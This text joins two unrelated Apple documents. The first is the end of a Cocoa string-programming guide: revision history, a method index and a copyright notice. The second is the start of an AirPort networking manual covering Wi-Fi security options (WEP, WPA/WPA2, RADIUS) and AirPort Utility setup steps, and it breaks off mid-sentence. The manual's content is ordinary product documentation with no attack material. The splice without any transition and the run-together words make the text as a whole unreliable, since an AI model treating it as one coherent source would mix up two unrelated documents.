introduction. 2004-06-28 Added information about custom Unicode character sets and retrieved missing code fragments in “Creating a Character Set”. Added information and cross-reference to “Drawing Strings” (page 44). Rewrote introduction and added an index. 2004-02-06 Added NSNumericSearch description to “Searching, Comparing, and Sorting Strings” (page 22). 2003-09-09 2003-03-17 Reinstated the sample code that was missing from “Scanners” (page 36). Updated “Creating and Converting String Objects” (page 8) to recommend the use of UTF8 encoding, and noted the pending deprecation of the cString... methods. 2003-01-17 2002-11-12 Revision history was added to existing topic. Document Revision History 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 46A alloc method 34 archiving character set objects 34 ASCII character encoding converting string object contents 8 availableStringEncodings method 8 C C strings Cocoa string objects and 7 creating and converting 11 character encodings string manipulation and 8 character sets custom 34 example code 34 guidelines for use 34 mutable and immutable 33 saving to a file 35 standard 33, 35 characterAtIndex: method 7 characterSetWithContentsOfFile: method 35 compare: method 22 compare:options: method 22, 24 compare:options:range: method 22 comparing strings 22–23 comparison methods for strings 22 componentsSeparatedByString: method 11 current directories resolving references to 40 D dataUsingEncoding: method 11, 12 defaultCStringEncoding method 8 description method 13 descriptionWithLocale: method 13 directories manipulating strings as paths 40, 42 E encodings, character string manipulation and 8 EUC character encoding 8 F file-system paths and strings 42 format strings 13 G getCharacters:length: method 12 I init method for mutable character sets 34 initWithData:encoding: method 8, 11, 12 initWithFormat: method 10 initWithFormat:locale: method 12 ISO Latin 1 character encoding 8 L length method 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 47 Indexfor string objects 7 letterCharacterSet method 35 localization scanning strings and 39 value formatting and 13 localizedScannerWithString: method 36, 39 localizedStringWithFormat: method 9, 12 lowercaseLetterCharacterSet method 35 M myString: method 33 N NSCharacterSet class 33 NSLayoutManager class 44 NSMutableCharacterSet class 33 NSMutableString class 7, 8 NSScanner class 23, 36–38 NSString class creating string objects from 8 described 7 methods for representing file-system paths 40 scanners and 36 NSView class 44 P parent directories resolving references to 40 paths and strings 42 primitive methods of NSString 7 printf function NSString and 13 R rangeOfCharacterFromSet: method 22, 33 rangeOfCharacterFromSet:options: method 22 rangeOfCharacterFromSet:options:range: method 22 rangeOfComposedCharacterSequenceAtIndex: method 23 rangeOfString: method 22 rangeOfString:options: method 22 rangeOfString:options:range: method 22 S scan... methods 36 scanners 36, 38 instantiating 36 operation of 36 sample code 38 scannerWithString: method 36 scanUpToString:intoString: method 37 search methods for strings 22 setCaseSensitive: method 36 setCharactersToBeSkipped: method 37 setLocale: method 39 setScanLocation: method 37 Shift-JIS character encoding 8 standard character sets 33, 35 string objects combining and extracting 10 comparison methods 22 creating and converting 8–12 described 7 drawing 44 searching and comparing 22–23 stringByAppendingFormat: method 10, 12 stringByAppendingString: method 10, 12 stringWithCharacters:length: method 12 stringWithContentsOfFile: method 21 stringWithFormat: method 10 stringWithUTF8String: method 12 substringFromIndex: method 11 substringToIndex: method 11 Index 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 48substringWithRange: method 11 U Unicode characters in string objects 8 code points used to define character sets 34 in string objects 7 NSCharacterSet and 33 standard character sets 35 string comparison standard 22 UTF8 character encoding 11 UTF8String method 11, 12 V value formatting string conversion and 13 W writeToFile:atomically: method 21 Index 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 49Apple Inc. © 1997, 2012 Apple Inc. All rights reserved. No part of this publication may be reproduced, stored in a retrievalsystem, or transmitted, in any form or by any means, mechanical, electronic, photocopying, recording, or otherwise, without prior written permission of Apple Inc., with the following exceptions: Any person is hereby authorized to store documentation on a single computer for personal use only and to print copies of documentation for personal use provided that the documentation contains Apple’s copyright notice. No licenses, express or implied, are granted with respect to any of the technology described in this document. Apple retains all intellectual property rights associated with the technology described in this document. This document is intended to assist application developers to develop applications only for Apple-labeled computers. Apple Inc. 1 Infinite Loop Cupertino, CA 95014 408-996-1010 Apple, the Apple logo, Cocoa, Finder, Mac, Macintosh, Objective-C, OS X, and Safari are trademarks of Apple Inc., registered in the U.S. and other countries. Even though Apple has reviewed this document, APPLE MAKES NO WARRANTY OR REPRESENTATION, EITHER EXPRESS OR IMPLIED, WITH RESPECT TO THIS DOCUMENT, ITS QUALITY, ACCURACY, MERCHANTABILITY, OR FITNESS FOR A PARTICULAR PURPOSE.ASARESULT, THISDOCUMENT IS PROVIDED “AS IS,” AND YOU, THE READER, ARE ASSUMING THE ENTIRE RISK AS TO ITS QUALITY AND ACCURACY. IN NO EVENT WILL APPLE BE LIABLE FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL,OR CONSEQUENTIAL DAMAGES RESULTING FROM ANY DEFECT OR INACCURACY IN THIS DOCUMENT, even if advised of the possibility of such damages. THE WARRANTY AND REMEDIES SET FORTH ABOVE ARE EXCLUSIVE AND IN LIEU OF ALL OTHERS, ORAL OR WRITTEN, EXPRESS OR IMPLIED. No Apple dealer, agent, or employee is authorized to make any modification, extension, or addition to this warranty. Some states do not allow the exclusion or limitation of implied warranties or liability for incidental or consequential damages, so the above limitation or exclusion may not apply to you. This warranty gives you specific legal rights, and you may also have other rights which vary from state to state. Apple AirPort Networks2 1 Contents Chapter 1 3 Getting Started 5 Configuring an Apple Wireless Device for Internet Access Using AirPort Utility 6 Extending the Range of Your AirPort Network 6 Sharing a USB Hard Disk Connected to an AirPort Extreme Base Station or Time Capsule 6 Printing with an Apple Wireless Device 6 Sharing Your Computer’s Internet Connection Chapter 2 9 AirPort Security 9 Security for AirPort Networks at Home 10 Security for AirPort Networks in Businesses and Classrooms 11 Wi-Fi Protected Access (WPA) and WPA2 Chapter 3 14 AirPort Network Designs 15 Using AirPort Utility 17 Setting Up the AirPort Extreme Network 24 Configuring and Sharing Internet Access 41 Setting Advanced Options 43 Extending the Range of an 802.11n Network 45 Keeping Your Network Secure 49 Directing Network Traffic to a Specific Computer on Your Network (Port Mapping) 51 Logging 52 Using Back to My Mac on your Wireless Network 53 Setting up IPv6 54 Sharing and Securing USB Hard Disks on Your Network 55 Using a Time Capsule in Your Network 55 Connecting a USB Printer to an Apple Wireless Device 56 Adding a Wireless Client to Your 802.11n Network 57 Solving Problems Chapter 4 59 Behind the Scenes 59 Basic Networking 63 Items That Can Cause Interference with AirPort Glossary 641 3 1 Getting Started AirPort offers the easiest way to provide wireless Internet access and networking anywhere in the home, classroom, or office. AirPort is based on the latest Institute of Electrical and Electronics Engineers (IEEE) 802.11n draft specification and provides fast and reliable wireless networking in the home, classroom, or small office. You can enjoy data transfer rates of up to five times faster than data rates provided by the 802.11g standard and more than twice the network range. The new AirPort Extreme Base Station and the new Time Capsule are based on simultaneous dual-band technology, so they work in both the 2.4 gigahertz (GHz) or 5 GHz spectrum at the same time. And they are 100 percent backward-compatible, so Mac computers and PCs that use 802.11a, 802.11b, 802.11g, or IEEE draft specification 802.11n wireless cards can connect to an AirPort wireless network. They also work flawlessly with the AirPort Express for wireless music streaming and more. The AirPort Extreme Base Station and Time Capsule have three additional 10/100/1000BaseT Gigabit Ethernet ports, so you don’t need to include another router in your network. To set up an AirPort Extreme Base Station, an AirPort Express, or a Time Capsule, you use AirPort Utility, the easy-to-use setup and management application. AirPort Utility has a simple user experience, with all software controls accessible from the same application. It provides better management of several Apple wireless devices, with client-monitoring features and logging. If you’re using AirPort Utility version 5.4 or later, you can set up a guest network, in both the 2.4 GHz and 5 GHz bands, so that guests can connect to the Internet using your AirPort network, while you keep your private network secure. You can also choose to set up guest accounts that expire, to grant temporary access to your network; you no longer need to give your network password to visitors in your home or office. You can even set up accounts with time constraints for the best in parental controls. AirPort Utility supports IPv6 and Bonjour, so you can “advertise” network services such as printing and sharing a hard disk over the Wide Area Network (WAN) port.4 Chapter 1 Getting Started Note: When the features discussed in this document apply to the AirPort Extreme Base Station, AirPort Express, and Time Capsule, the devices are referred to collectively as Apple wireless devices. With an AirPort Extreme Base Station or a Time Capsule, you can connect a USB hard disk so that everyone on the network can back up, store, and share files. Every Time Capsule includes an internal AirPort disk, so you don’t need to connect an external one. If you want, you can connect additional USB disks to the USB port on your Time Capsule. You can also connect a USB printer to the USB port on any Apple wireless device, so that everyone on the network can access the printer or hub. All Apple wireless devices provide strong, wireless security. They offer a built-in firewall and support industry-standard encryption technologies. Yet the simple setup utility and powerful access controls make it easy for authorized users to connect to the AirPort network they create. You can use an Apple wireless device to provide wireless Internet access and share a single Internet connection among several computers in the following ways:  Set up the device to act as a router and provide Internet Protocol (IP) addresses to computers on the network using Dynamic Host Configuration Protocol (DHCP) and Network Address Translation (NAT). When the wireless device is connected to a DSL or cable modem that is connected to the Internet, it receives webpages and email content from the Internet through its Internet connection, and then sends the content to wireless-enabled computers, using the wireless network or using Ethernet if there are computers connected to the Ethernet ports.  Set up the Apple wireless device to act as a bridge on an existing network that already has Internet access and a router providing IP addresses. The device passes IP addresses and the Internet connection to AirPort or wireless-enabled computers, or computers connected to the wireless device by Ethernet. This document provides information about the latest AirPort Extreme Base Station, AirPort Express, and Time Capsule, and detailed information about designing 802.11n networks with AirPort Utility for computers using Mac OS X v10.5 or later, and Windows Vista or Windows XP with Service Pack 2. If you’re using previous versions of Mac OS X, or are setting up earlier versions of AirPort devices, you’ll find more information at www.apple.com/support/airport.Chapter 1 Getting Started 5 You can set up an Apple wireless device and connect to the Internet wirelessly in minutes. But because Apple wireless devices are flexible and powerful networking products, you can also create an AirPort network that does much more. If you want to design an AirPort network that provides Internet access to non-AirPort computers via Ethernet, or take advantage of some of your wireless device’s more advanced features, use this document to design and implement your network. You can find more general wireless networking information and an overview of AirPort technology in the earlier AirPort documents, located at www.apple.com/support/manuals/airport. Note: The images of AirPort Utility in this document are from Mac OS X v10.5. If you’re using a Windows computer, the images you see in this document may be slightly different from what you see on your screen. Configuring an Apple Wireless Device for Internet Access Using AirPort Utility Like your computer, Apple wireless devices must be set up with the appropriate hardware and IP networking information to connect to the Internet. Install AirPort Utility, which came on the CD with your wireless device, and use it to provide Internet configuration information and other network settings. AirPort Utility combines the ease of use of AirPort Setup Assistant and the power of AirPort Admin Utility. It is installed in the Utilities folder in the Applications folder on a Macintosh computer using Mac OS X, and in Start > All Programs > AirPort on computers using Windows. AirPort Utility walks you through the setup process by asking a series of questions to determine how the device’s Internet connection and other interfaces should be set up. Enter the settings you received from your ISP or network administrator for Ethernet, PPP over Ethernet (PPPoE), or your local area network (LAN); give your AirPort network a name and password; set up a device as a wireless bridge to extend the range of your existing AirPort network; and set other options. When you’ve finished entering the settings, AirPort Utility transfers the settings to your wireless device. Then it connects to the Internet and shares its Internet connection with computers that join its AirPort network. You can also create an AirPort network that takes advantage of the more advanced networking features of Apple wireless devices. To set more advanced AirPort options, use AirPort Utility to manually set up your wireless device’s configuration, or make quick adjustments to one you’ve already set up. Some of the AirPort advanced networking features can be configured only using the manual setup features in AirPort Utility. 6 Chapter 1 Getting Started Set up your Apple wireless device manually using AirPort Utility when:  You want to provide Internet access to computers that connect to the wireless device using Ethernet  you’ve already set up your device, but you need to change one setting, such as your account information  You need to configure advanced settings such as channel frequency, advanced security options, closed networks, DHCP lease time, access control, WAN privacy, power controls, or port mapping or other options For instructions on using AirPort Utility to manually set up your wireless device and network, see “Using AirPort Utility” on page 15. Extending the Range of Your AirPort Network You can extend the range of your network by using AirPort Utility to set up wireless connections among several devices in your network, or to connect a device using Ethernet to create a roaming network. For more information on extending the range of your network, see “Connecting Additional Wireless Devices to Your AirPort Network” on page 41. Sharing a USB Hard Disk Connected to an AirPort Extreme Base Station or Time Capsule If you’re using an AirPort Extreme Base Station or a Time Capsule, you can connect a USB hard disk to it, and computers connected to the network—wired or wireless, Mac or Windows—can share files using the hard disk. Every Time Capsule includes an internal AirPort disk, so you don’t need to connect an external one. If you want, you can connect additional USB disks to the USB port on your Time Capsule. See “Sharing and Securing USB Hard Disks on Your Network” on page 54. Printing with an Apple Wireless Device If you have a compatible USB printer connected to your Apple wireless device, computers on the AirPort network can use Bonjour (Apple’s zero-configuration networking technology) to print to the printer. For instructions about printing to a USB printer from a computer, see “Connecting a USB Printer to an Apple Wireless Device” on page 55. Sharing Your Computer’s Internet Connection If your computer is connected to the Internet, you can share your Internet connection with other computers using Mac OS X version 10.2 or later, or Windows XP with Service Pack 2. This is sometimes called using your computer as a software base station.Chapter 1 Getting Started 7 You can share your Internet connection as long as your computer is connected to the Internet. If your computer goes to sleep or is restarted, or if you lose your Internet connection, you need to restart Internet sharing. To start Internet sharing on a computer using Mac OS X v10.5 or later: 1 Open System Preferences and click Sharing. 2 Choose the port you want to use to share your Internet connection from the “Share your connection using” pop-up menu. 3 Select the port you want to use to share your Internet connection in the “To computers using” list. You can choose to share your Internet connection with AirPort-enabled computers or computers with built-in Ethernet, for example. 4 Select Internet Sharing in the Services list. 5 If you want to share your Internet connection with computers using AirPort, click AirPort Options to give your network a name and password. 8 Chapter 1 Getting Started To start Internet sharing on a computer using Windows: 1 Open Control Panel from the Start menu, and then click “Network and Internet.” 2 Click “Network and Sharing Center.” 3 Click “Manage network connections” in the Tasks list. 4 Right-click the network connection you want to share, and then select Properties. 5 Click Sharing and then select “Allow other network users to connect through this computer’s Internet connection.” Note: If your Internet connection and your local network use the same port (built-in Ethernet, for example), contact your ISP before you turn on Internet sharing. In some cases (if you use a cable modem, for example) you might unintentionally affect the network settings of other ISP customers, and your ISP might terminate your service to prevent you from disrupting its network. The following chapters explain AirPort security options, AirPort network design and setup, and other advanced options.2 9 2 AirPort Security This chapter provides an overview of the security features available in AirPort. Apple has designed its wireless devices to provide several levels of security, so you can enjoy peace of mind when you access the Internet, manage online financial transactions, or send and receive email. The AirPort Extreme Base Station and Time Capsule also include a slot for inserting a lock to deter theft. For information and instructions for setting up these security features, see “Setting Up the AirPort Extreme Network” on page 17. Security for AirPort Networks at Home Apple gives you ways to protect your wireless AirPort network as well as the data that travels over it. NAT Firewall You can isolate your wireless network with firewall protection. Apple wireless devices have a built-in Network Address Translation (NAT) firewall that creates a barrier between your network and the Internet, protecting data from Internet-based IP attacks. The firewall is automatically turned on when you set up the device to share a single Internet connection. For computers with a cable or DSL modem, AirPort can actually be safer than a wired connection. Closed Network Creating a closed network keeps the network name and the very existence of your network private. Prospective users of your network must know the network name and password to access it. Use AirPort Utility, located in the Utilities folder in the Applications folder on a Macintosh computer using Mac OS X, or in Start > All Programs > AirPort on a computer using Windows, to create a closed network.10 Chapter 2 AirPort Security Password Protection and Encryption AirPort uses password protection and encryption to deliver a level of security comparable to that of traditional wired networks. Users can be required to enter a password to log in to the AirPort network. When transmitting data and passwords, the wireless device uses up to 128-bit encryption, through either Wi-Fi Protected Access (WPA), WPA2, or Wired Equivalent Privacy (WEP), to scramble data and help keep it safe. If you’re setting up an 802.11n-based AirPort device, you can also use WEP (Transitional Security Network) if both WEP-compatible and WPA/WPA2-compatible computers will join your network. Note: WPA security is available only to AirPort Extreme wireless devices; AirPort and AirPort Extreme clients using Mac OS X 10.3 or later and AirPort 3.3 or later; and to non-Apple clients using other 802.11 wireless adapters that support WPA. WPA2 security requires firmware version 5.6 or later for an AirPort Extreme Base Station, firmware version 6.2 or later for an AirPort Express, firmware version 7.3 or later for a Time Capsule, and a Macintosh computer with an AirPort Extreme wireless card using AirPort 4.2 or later. If your computer uses Windows XP or Windows Vista, check the documentation that came with your computer to see if your computer supports WPA2. Security for AirPort Networks in Businesses and Classrooms Businesses and schools need to restrict network communications to authorized users and keep data safe from prying eyes. To meet this need, Apple wireless devices and software provide a robust suite of security mechanisms. Use AirPort Utility to set up these advanced security features. Transmitter Power Control Because radio waves travel in all directions, they can extend outside the confines of a specific building. The Transmit Power setting in AirPort Utility lets you adjust the transmission range of your device’s network. Only users within the network vicinity have access to the network. MAC Address Access Control Every AirPort and wireless card have a unique Media Access Control (MAC) address. For AirPort Cards and AirPort Extreme Cards, the MAC address is sometimes referred to as the AirPort ID. Support for MAC address access control lets administrators set up a list of MAC addresses and restrict access to the network to only those users whose MAC addresses are in the access control list.Chapter 2 AirPort Security 11 RADIUS Support The Remote Authentication Dial-In User Service (RADIUS) makes securing a large network easy. RADIUS is an access control protocol that allows a system administrator to create a central list of the user names and passwords of computers that can access the network. Placing this list on a centralized server allows many wireless devices to access the list and makes it easy to update. If the MAC address of a user’s computer (which is unique to each 802.11 wireless card) is not on your approved MAC address list, the user cannot join your network. Wi-Fi Protected Access (WPA) and WPA2 There has been increasing concern about the vulnerabilities of WEP. In response, the Wi-Fi Alliance, in conjunction with the IEEE, has developed enhanced, interoperable security standards called Wi-Fi Protected Access (WPA) and WPA2. WPA and WPA2 use specifications that bring together standards-based, interoperable security mechanisms that significantly increase the level of data protection and access control for wireless LANs. WPA and WPA2 provide wireless LAN users with a high-level assurance that their data remains protected and that only authorized network users can access the network. A wireless network that uses WPA or WPA2 requires all computers that access the wireless network to have WPA or WPA2 support. WPA provides a high level of data protection and (when used in Enterprise mode) requires user authentication. The main standards-based technologies that constitute WPA include Temporal Key Integrity Protocol (TKIP), 802.1X, Message Integrity Check (MIC), and Extensible Authentication Protocol (EAP). TKIP provides enhanced data encryption by addressing the WEP encryption vulnerabilities, including the frequency with which keys are used to encrypt the wireless connection. 802.1X and EAP provide the ability to authenticate a user on the wireless network. 802.1X is a port-based network access control method for wired as well as wireless networks. The IEEE adopted 802.1X as a standard in August 2001. The Message Integrity Check (MIC) is designed to prevent an attacker from capturing data packets, altering them, and resending them. The MIC provides a strong mathematical function in which the receiver and the transmitter each compute and then compare the MIC. If they do not match, the data is assumed to have been tampered with and the packet is dropped. If multiple MIC failures occur, the network may initiate countermeasures.12 Chapter 2 AirPort Security The EAP protocol known as TLS (Transport Layer Security) presents a user’s information in the form of digital certificates. A user’s digital certificates can comprise user names and passwords, smart cards, secure IDs, or any other identity credentials that the IT administrator is comfortable using. WPA uses a wide variety of standards-based EAP implementations, including EAP-Transport Layer Security (EAP-TLS), EAP-Tunnel Transport Layer Security (EAP-TTLS), and Protected Extensible Authentication Protocol (PEAP). AirPort Extreme also supports the Lightweight Extensible Authentication Protocol (LEAP), a security protocol used by Cisco access points to dynamically assign a different WEP key to each user. AirPort Extreme is compatible with Cisco’s LEAP security protocol, enabling AirPort users to join Cisco-hosted wireless networks using LEAP. In addition to TKIP, WPA2 supports the AES-CCMP encryption protocol. Based on the very secure AES national standard cipher, combined with sophisticated cryptographic techniques, AES-CCMP was specifically designed for wireless networks. Migrating from WEP to WPA2 requires new firmware for the AirPort Extreme Base Station (version 5.6 or later), and for AirPort Express (version 6.2 or later). Devices using WPA2 mode are not backward compatible with WEP. WPA and WPA2 have two modes:  Personal mode, which relies on the capabilities of TKIP or AES-CCMP without requiring an authentication server  Enterprise mode, which uses a separate server, such as a RADIUS server, for user authentication WPA and WPA2 Personal  For home or Small Office/Home Office (SOHO) networks, WPA and WPA2 operates in Personal mode, taking into account that the typical household or small office does not have an authentication server. Instead of authenticating with a RADIUS server, users manually enter a password to log in to the wireless network. When a user enters the password correctly, the wireless device starts the encryption process using TKIP or AES-CCMP. TKIP or AES-CCMP takes the original password and derives encryption keys mathematically from the network password. The encryption key is regularly changed and rotated so that the same encryption key is never used twice. Other than entering the network password, the user isn’t required to do anything to make WPA or WPA2 Personal work in the home.Chapter 2 AirPort Security 13 WPA and WPA2 Enterprise WPA is a subset of the draft IEEE 802.11i standard and effectively addresses the wireless local area network (WLAN) security requirements for the enterprise. WPA2 is a full implementation of the ratified IEEE 802.11i standard. In an enterprise with IT resources, WPA should be used in conjunction with an authentication server such as RADIUS to provide centralized access control and management. With this implementation in place, the need for add-on solutions such as virtual private networks (VPNs) may be eliminated, at least for securing wireless connections in a network. For more information about setting up a WPA or WPA2 protected network, see “Using Wi-Fi Protected Access” on page 45.3 14 3 AirPort Network Designs This chapter provides overview information and instructions for the types of AirPort Extreme networks you can set up, and some of the advanced options of AirPort Extreme. Use this chapter to design and set up your AirPort Extreme network. Configuring your Apple wireless device to implement a network design requires three steps: Step 1: Setting Up the AirPort Extreme Network Computers communicate with the wireless device over the AirPort wireless network. When you set up the AirPort network created by the wireless device, you can name the wireless network, assign a password that will be needed to join the wireless network, and set other options. Step 2: Configuring and Sharing Internet Access When computers access the Internet through the AirPort Extreme network, the wireless device connects to the Internet and transmits information to the computers over the AirPort Extreme network. You provide the wireless device with settings appropriate for your ISP and configure how the device shares this connection with other computers. Step 3: Setting Advanced Options These settings are optional for most users. They include using the Apple wireless device as a bridge between your AirPort Extreme network and an Ethernet network, setting advanced security options, extending the AirPort network to other wireless devices, and fine-tuning other settings. For specific instructions on all these steps, refer to the sections later in this chapter. You can do most of your setup and configuration tasks using AirPort Utility, and following the onscreen instructions to enter your ISP and network information. To set advanced options, you need to use AirPort Utility to manually set up your Apple wireless device and AirPort network.Chapter 3 AirPort Network Designs 15 Using AirPort Utility To set up and configure your computer or Apple wireless device to use AirPort Extreme for basic wireless networking and Internet access, use AirPort Utility and answer a series of questions about your Internet settings and how you would like to set up your network. 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 2 Select your device in the list on the left if there is more than one device in your network. Click Continue, and then follow the onscreen instructions to enter the settings from your ISP or network administrator for the type of network you want to set up. See the network diagrams later in this chapter for the types of networks you can set up using AirPort Utility. To set up a more complicated network, or to make adjustments to a network you’ve already set up, use the manual setup features in AirPort Utility. Setting AirPort preferences Use AirPort preferences to set up your wireless device to alert you when there are updates available for your device. You can also set it up to notify you if there are problems detected, and to provide instructions to help solve the problems. To set AirPort preferences: 1 Open AirPort Utility, located in the Utilities folder inside the Applications folder on a Mac, and in Start > All Programs > AirPort on a Windows computer. 2 Do one of the following:  On a Mac, choose AirPort Utility > Preferences  On a Windows computer, choose File > Preferences16 Chapter 3 AirPort Network Designs Select from the following checkboxes:  Select “Check for Updates when opening AirPort Utility” to automatically check the Apple website for software and firmware updates each time you open AirPort Utility.  Select the “Check for updates” checkbox, and then choose a time interval from the pop-up menu, such as weekly, to check for software and firmware updates in the background. AirPort Utility opens if updates are available.  Select “Monitor Apple wireless devices for problems” to investigate problems that may cause the device’s status light to blink amber. With the checkbox selected, AirPort Utility opens if a problem is detected, and then provides instructions to help resolve the problem. This option monitors all of the wireless devices on the network.  Select “Only Apple wireless devices that I have configured” to monitor only the devices you’ve set up using this computer. Monitoring devices for problems requires an AirPort wireless device that supports firmware version 7.0 or later. To set up your wireless device manually: 1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a Mac, or in Start > All Programs > AirPort on a Windows computer. 2 Select your device in the list. 3 Choose Base Station > Manual Setup and enter the password if necessary. The default device password is public. If you don’t see your wireless device in the list: 1 Open the AirPort status menu in the menu bar on a Mac and make sure that you’ve joined the AirPort network created by your wireless device. On a Windows computer, hover the cursor over the wireless network icon in the status tray to make sure the computer is connected to the correct network. The default network name for an Apple wireless device is AirPort Network XXXXXX, where XXXXXX is replaced with the last six digits of the AirPort ID, (or MAC address). The AirPort ID is printed on the bottom of Apple wireless devices. 2 Make sure your computer’s network and TCP/IP settings are configured properly. On a computer using Mac OS X, choose AirPort from the Show pop-up menu in the Network pane of System Preferences. Then choose Using DHCP from the Configure IPv4 pop-up menu in the TCP/IP pane. On a computer using Windows, right-click the wireless connection icon that displays the AirPort network, and choose Status. Click Properties, select Internet Protocol (TCP/IP), and then click Properties. Make sure “Obtain an IP address automatically” is selected.Chapter 3 AirPort Network Designs 17 If you can’t open the wireless device settings: 1 Make sure your network and TCP/IP settings are configured properly. On a computer using Mac OS X, select AirPort from the network connection services list in the Network pane of System Preferences. Click Advanced, and then choose Using DHCP from the Configure IPv4 pop-up menu in the TCP/IP pane. On a computer using Windows, right-click the wireless connection icon that displays the AirPort network, and choose Status. Click Properties, select Internet Protocol (TCP/IP), and then click Properties. Make sure “Obtain an IP address automatically” is selected. 2 Make sure you entered the wireless device password correctly. The default password is public. If you’ve forgotten the device password, you can reset it to public by resetting the device. To temporarily reset the device password to public, hold down the reset button for one second. To reset the device back to its default settings, hold the reset button for five full seconds. If you’re on an Ethernet network that has other devices, or you’re using Ethernet to connect to the device: AirPort Utility scans the Ethernet network to create the list of devices. As a result, when you open AirPort Utility, you may see devices that you cannot configure. Setting Up the AirPort Extreme Network The first step in configuring your Apple wireless device is setting up the device and the network it will create. You can set up most features using AirPort Utility and following the onscreen instructions to enter the information from your ISP or network administrator. To configure a network manually or set advanced options, open your wireless device’s configuration in AirPort Utility and manually set up your device and network. 1 Choose the network of the wireless device you want to configure from the AirPort status menu on a computer using Mac OS X, or from the wireless connection icon in the status tray on a computer using Windows. 2 Open AirPort Utility and select the wireless device from the list. If you don’t see the device you want to configure, click Rescan to scan for available wireless devices, and then select the one you want from the list. 18 Chapter 3 AirPort Network Designs 3 Choose Base Station > Manual Setup and enter the password if necessary. The default device password is public. You can also double-click the name of the wireless device to open its configuration in a separate window. When you open the manual setup window, the Summary pane is displayed. The summary pane provides information and status about your wireless device and network.Chapter 3 AirPort Network Designs 19 If the wireless device reports a problem, the status icon turns yellow. Click Base Station Status to display the problem and suggestions to resolve it. Wireless Device Settings Click the AirPort button, and then click Base Station or Time Capsule, depending on the device you’re setting up, to enter information about the wireless device. Give the Device a Name Give the device an easily identifiable name. This makes it easy for administrators to locate a specific device on an Ethernet network with several devices. Change the Device Password The device password protects its configuration so that only the administrator can modify it. The default password is public. It is a good idea to change the device password to prevent unauthorized changes to it. If the password is not changed from public, you’ll not be prompted for a password when you select it from the list and click Configure. Other Information  Allow configuration over the WAN port. This allows you to administer the wireless device remotely.  Advertise the wireless device over the Internet using Bonjour. If you have an account with a dynamic DNS service, you can connect to it over the Internet.  Set the device time automatically. If you have access to a Network Time Protocol server, whether on your network or on the Internet, choose it from the pop-up menu. This ensures your wireless device is set to the correct time.20 Chapter 3 AirPort Network Designs Set Device Options Click Base Station Options and set the following:  Enter a contact name and location for the wireless device. The name and location are included in some logs the device generates. The contact and location fields may be helpful if you’ve more than one wireless device on your network.  Set status light behavior to either Always On or Flash On Activity. If you choose Flash On Activity, the device status light blinks when there is network traffic.  If your wireless device supports it, select “Check for firmware updates” and choose an increment, such as Daily from the pop-up menu. Wireless Network Settings Click Wireless, and enter the network name, radio mode, and other wireless information. Setting the Wireless Mode AirPort Extreme supports two wireless modes:  Create a wireless network. Choose this option if you’re creating a new AirPort Extreme network.  Extend a wireless network. Choose this option if you plan to connect another Apple wireless device to the network you’re setting up. Naming the AirPort Extreme Network Give your AirPort network a name. This name appears in the AirPort status menu on the AirPort-enabled computers that are in range of your AirPort network.Chapter 3 AirPort Network Designs 21 Choosing the Radio Mode Choose 802.11a/n - 802.11b/g from the Radio Mode pop-up menu if computers with 802.11a, 802.11n, 802.11g, or 802.11b wireless cards will join the network. Each client computer will connect to the network and transmit network traffic at the highest possible speed. Choose 802.11n - 802.11b/g if only computers with 802.11n, 802.11b, or 802.11g compatible wireless cards will join the network. Note: If you don’t want to use an 802.11n radio mode, hold down the Option key and chose a radio mode that doesn’t include 802.11n. Changing the Channel The “channel” is the radio frequency over which your wireless device communicates. If you use only one device (for example, at home), you probably won’t need to change the channel frequency. If you set up several wireless devices in a school or office, use different channel frequencies for devices that are within approximately 150 feet of each other. Adjacent wireless devices should have at least 4 channels between their channel frequencies. So if device A is set to channel 1, device B should be set to channel 6 or 11. For best results, use channels 1, 6, or 11 when operating your device in the 2.4 GHz range. Choose Manually from the Radio Channel Selection pop-up menu, and then click Edit to set the channels manually. AirPort-enabled computers automatically tune to the channel frequency your wireless device is using when they join the AirPort network. If you change the channel frequency, AirPort client computers do not need to make any changes. Password-protect Your Network To password-protect your network, you can choose from a number of wireless security options. In the AirPort pane of AirPort Utility, click Wireless and choose one of the following options from the Wireless Security pop-up menu:  None: Choosing this option turns off all password protection for the network. Any computer with a wireless adapter or card can join the network, unless the network is set up to use access control. See “Setting Up Access Control” on page 47.  WEP: If your device supports it, choose this option and enter a password to protect your network with a Wired Equivalent Privacy (WEP) password. Your Apple wireless device supports 40-bit and 128-bit encryption. To use 40-bit WEP, don’t use an 802.11n radio mode.22 Chapter 3 AirPort Network Designs  WPA/WPA2 Personal: Choose this option to protect your network with Wi-Fi Protected Access. You can use a password between 8 and 63 ASCII characters or a Pre-Shared Key of exactly 64 hexadecimal characters. Computers that support WPA and computers that support WPA2 can join the network. Choose WPA2 Personal if you want only computers that support WPA2 to join your network.  WPA/WPA2 Enterprise: Choose this option if you’re setting up a network that includes an authentication server, such as a RADIUS server, with individual user accounts. Enter the IP address and port number for the primary and optional secondary server, and enter a “shared secret,” which is the password for the server. Choose WPA2 Enterprise if you want only computers that support WPA2 to join the network.  WEP (Transitional Security Network): If your device supports it, you can use this option to allow computers using WPA or WPA2 to join the network. Computers or devices that use WEP can also join the network. WEP (Transitional Security Network) supports 128-bit encryption. To use this option, the wireless device use an 802.11n radio mode. Hold the Option key on your keyboard while clicking the Wireless Security pop-up menu to use WEP (Transitional Security Netowrk). For more information and instructions for setting up WPA or WPA2 on your network, see “Using Wi-Fi Protected Access” on page 45. Setting Wireless Options Click Wireless Options to set additional options for your network.Chapter 3 AirPort Network Designs 23 Setting Additional Wireless Options Use the Wireless Options pane to set the following:  5 GHz network name: Provide a name for the 5 GHz segment of the dual-band network if you want it to have a different name than the 2.4 GHz network.  Country: Choose the country for the location of your network from the Country pop-up menu.  Multicast rate: Choose a multicast rate from the pop-up menu. If you set the multicast rate high, only clients on the network that are within range and can achieve the speed you set will receive transmissions.  Transmit power: Choose a setting from the Transmit Power pop-up menu to set the network range (the lower the percentage, the shorter the network range).  WPA Group Key Timeout: Enter a number in the text field, and choose an increment from the pop-up menu to change the frequency of key rotation.  Use Wide Channels: If you set up your network to use the 5 GHz frequency range, you can use wide channels to provide higher network throughput. Note: Using wide channels is not permitted in some countries.  Create a closed network: Selecting a closed network hides the name of the network so that users must enter the exact network name and password to join the AirPort 